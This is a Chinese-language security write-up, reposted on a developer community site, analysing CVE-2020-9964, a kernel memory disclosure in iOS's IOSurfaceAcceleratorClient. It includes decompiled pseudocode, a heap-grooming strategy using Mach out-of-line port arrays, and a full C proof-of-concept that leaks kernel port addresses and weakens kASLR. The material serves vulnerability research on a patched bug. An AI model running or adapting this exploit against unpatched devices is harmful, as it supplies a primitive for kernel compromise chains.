前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-9964:iOS中的信息泄露漏洞分析

CVE-2020-9964:iOS中的信息泄露漏洞分析

作者头像
FB客服
发布2020-10-27 16:07:53
7400
发布2020-10-27 16:07:53
举报
文章被收录于专栏:FreeBuf

写在前面的话

2020年09月17日凌晨,苹果终于给所有用户推送了iOS14正式版,并同时发布了iOS 14.0的安全内容更新。阅读该公告后,你将会看到列表中的一个漏洞CVE-2020-9964,这是一个存在于IOSurfaceAccelerator中的安全漏洞。苹果将这个漏洞描述为:“本地用户将能够利用该漏洞读取内核内存数据,这是一个内存初始化问题。”那么在这篇文章中,我们将跟大家介绍有关该漏洞的详细信息。

IOSurfaceAcceleratorClient::user_get_histogram

IOSurfaceAcceleratorClient不仅是AppleM2ScalerCSCDriver IOService的用户客户端接口,也是为数不多的能够在App沙盒中打开的用户客户端。在这里,我们感兴趣的其实是这个用户客户端中的一个特定外部方法,也就是方法9-IOSurfaceAcceleratorClient::user_get_histogram。IOSurfaceAcceleratorClient在这个外部方法中使用了遗留的IOUserClient::getTargetAndMethodForIndex,方法9的IOExternalMethod描述符如下所示:

代码语言:javascript
复制
{

    IOSurfaceAcceleratorClient::user_get_histogram,

    kIOUCStructIStructO,

    0x8,

    0x0

}

在这里,我们可以看到user_get_histogram只会接收输入数据的八个字节,并且不会返回任何的输出数据,接下来我们一起来看一看这个方法的实现代码,下面给出的是带注释的伪代码:

代码语言:javascript
复制
IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize)

{

IOReturn result;

if (this->calledFromKernel)

{

...

}

else

{

IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task);

if ( memDesc )

{

ret = memDesc->prepare(kIODirectionNone);

if (ret)

{

...

}

else

{

ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc);

memDesc->complete(kIODirectionNone);

}

memDesc->release();

}

else

{

ret = kIOReturnNoMemory;

}

}

return ret;

}

我们可以看到其中包含的八个字节的结构化输入数据,它将会被设置为一个用户空间指针,AppleM2ScalerCSCDriver::get_histogram将能够利用该指针实现数据的写入或读取。实际上,get_histogram调用get_histogram_gated的过程如下所示:

代码语言:javascript
复制
IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc)

{

IOReturn result;

if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize )

result = kIOReturnSuccess;

else

result = kIOReturnIOError;

return result;

}

我们可以看到,client->histogramBuffer被写回至了用户空间,那么现在问题来了,client->histogramBuffer是什么鬼?它是在哪里被初始化的?其中的数据又是从哪里来的?

IOSurfaceAcceleratorClient::histogramBuffer

上述问题的答案我们得在IOSurfaceAcceleratorClient::initClient的身上去寻找,相关代码如下:

代码语言:javascript
复制
bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal)

{

...

if ( ... )

{

...

if ( ... )

{

size_t bufferSize = ...;

this->histogramSize = bufferSize;

this->histogramBuffer = (void *)IOMalloc(bufferSize);

IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0);

this->scheduler = scheduler;

if ( scheduler )

return true;

...

}

else

{

...

}

}

else

{

...

}

this->stopClient();

return false;

}

这里有一个很可疑的地方,代码为histogramBuffer分配了空间,但并未填充数据,而IOMalloc也没有给内存填充0,因此这里的histogramBuffer相当于完全没有初始化的。于是我尝试自己去调用这个方法,结果我查看到了大量的0xdeadbeef,说明这是一段未初始化的内存。

漏洞利用

这就非常棒了,因为我们可以将未初始化的内存泄露至用户空间,但我们应该怎么做呢?实际上,像这样的信息泄露问题本身相对还算是不严重的,但对于利用其他的内存崩溃漏洞时它就至关重要了。通常在利用这类漏洞时,首先需要找到匹配的端口地址,这也是我首要的目标。值得一提的是,这个漏洞也可以用来攻击kASLR。

在利用该漏洞时,我选择的目标分配地址时Mach消息out-of-line端口数组。在发送Mach消息是,我们可以将消息标记为“complex”。这将告诉内核下列Header并非元数据,而是描述符后接消息主体“body”。其中一个描述符为mach_msg_ool_ports_descriptor_t,它就是其中一个需要插入到接收任务中的out-of-line端口数组。

内存在接收上述信息时,内核可以通过创建一个包含指针(指向数组中每一个端口)的缓冲区来处理这些OOL端口(如果你感兴趣的话,可以查看ipc_kmsg_copyin_ool_ports_descriptor中的代码,我们在此不对其进行赘述)。这样一来,我们就可以使用它来触发任何大小的内核分配,其中将包含我们所要读取或提取的数据,并在任何时候进行随意释放。

高级漏洞利用流

  • 使用OOL端口数组发送跟client->histogramSize大小相同的消息内容;
  • 通过接收消息来释放这些数组;
  • 打开一个IOSurfaceAcceleratorClient连接,分配histogramBuffer,该部分现在将会被其中部分被释放的端口数组所覆盖;
  • 调用外部方法9,读取指向用户空间的端口指针;
  • 搞定!

漏洞利用代码

针对该漏洞的漏洞利用代码如下:

代码语言:javascript
复制
#include <stdlib.h>

#include <assert.h>

#include <stdio.h>

#include <mach/mach.h>

#include <IOKit/IOKitLib.h>

#if 0

AppleM2ScalerCSCDriver Infoleak:

IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.

IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.

When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.

This vulnerability is reachable from within the app sandbox on iOS.

Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.

Other kernel object addresses can be obtained using this vulnerability in similar ways.

#endif

#define ASSERT_KR(kr) do { \

if (kr != KERN_SUCCESS) { \

fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \

exit(EXIT_FAILURE); \

} \

} while(0)

#define LEAK_SIZE 0x300

#define SPRAY_COUNT 0x80

mach_port_t create_port(void)

{

mach_port_t p = MACH_PORT_NULL;

mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);

mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);

return p;

}

io_connect_t open_client(const char* serviceName, uint32_t type)

{

io_connect_t client = MACH_PORT_NULL;

io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName));

assert(service != MACH_PORT_NULL);

IOServiceOpen(service, mach_task_self(), 0, &client);

assert(client != MACH_PORT_NULL);

IOObjectRelease(service);

return client;

}

void push_to_freelist(mach_port_t port)

{

uint32_t portCount = LEAK_SIZE / sizeof(void*);

struct {

mach_msg_header_t header;

mach_msg_body_t body;

mach_msg_ool_ports_descriptor_t ool_ports;

} msg = {{0}};

mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t));

for (uint32_t i = 0; i < portCount; i++)

ports[i] = port;

size_t msgSize = sizeof(msg);

msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);

msg.header.msgh_size = msgSize;

msg.header.msgh_id = 'OOLP';

msg.body.msgh_descriptor_count = 1;

msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

msg.ool_ports.address = (void*)ports;

msg.ool_ports.count = portCount;

msg.ool_ports.deallocate = false;

msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;

mach_port_t rcvPorts[SPRAY_COUNT];

for (uint32_t i = 0; i < SPRAY_COUNT; i++)

{

mach_port_t rcvPort = create_port();

rcvPorts[i] = rcvPort;

msg.header.msgh_remote_port = rcvPort;

//trigger kernel allocation of port array:

kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

ASSERT_KR(kr);

}

for (uint32_t i = 1; i < SPRAY_COUNT; i++)

mach_port_destroy(mach_task_self(), rcvPorts[i]);

free((void*)ports);

}

//The actual vulnerability:

void leak_bytes(void* buffer)

{

io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0);

kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL);

ASSERT_KR(kr);

IOServiceClose(client);

}

uint64_t find_port_addr(mach_port_t port)

{

uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE);

printf("Preparing heap\n");

push_to_freelist(port);

printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);

leak_bytes(leak);

uint64_t addr = leak[1];

free(leak);

return addr;

}

int main(int argc, char* argv[], char* envp[])

{

mach_port_t port = create_port();

uint64_t port_addr = find_port_addr(port);

printf("Leaked port address: %p\n", (void*)port_addr);

return 0;

}

我的这份漏洞利用代码成功率已经接近100%了,如果漏洞利用不成功的话,请重新运行代码进行尝试。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-10-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 写在前面的话
  • IOSurfaceAcceleratorClient::user_get_histogram
  • IOSurfaceAcceleratorClient::histogramBuffer
  • 漏洞利用代码
相关产品与服务
内容分发网络 CDN
内容分发网络(Content Delivery Network,CDN)通过将站点内容发布至遍布全球的海量加速节点,使其用户可就近获取所需内容,避免因网络拥堵、跨运营商、跨地域、跨境等因素带来的网络不稳定、访问延迟高等问题,有效提升下载速度、降低响应时间,提供流畅的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档